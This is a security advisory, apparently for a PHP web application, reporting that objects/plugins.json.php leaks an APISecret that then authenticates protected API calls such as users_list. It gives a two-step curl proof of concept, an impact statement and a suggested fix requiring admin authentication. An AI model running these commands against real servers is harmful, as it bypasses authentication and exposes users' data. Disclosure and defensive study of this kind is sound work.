Description

Summary

An unauthenticated user can read APISecret from objects/plugins.json.php and use it to call protected API endpoints (e.g. users_list) without logging in.

Details

objects/plugins.json.php is public and still exposes plugin object_data containing APISecret. That secret is accepted by plugin/API/get.json.php as authentication.

PoC

  1. Get plugin config (contains APISecret):
curl 'http://<host>/objects/plugins.json.php'

  1. Copy APISecret from response, then call API directly:
curl --get 'http://<host>/plugin/API/get.json.php' \
  --data-urlencode 'APIName=users_list' \
  --data-urlencode 'APISecret=<APISecret>' \
  --data-urlencode 'rowCount=3' \
  --data-urlencode 'current=1'

Impact

Unauthenticated disclosure of sensitive config (APISecret) leading to unauthorized access to protected API data.

Recommended fix

Requiring admin auth for full plugin inventory/config endpoint.
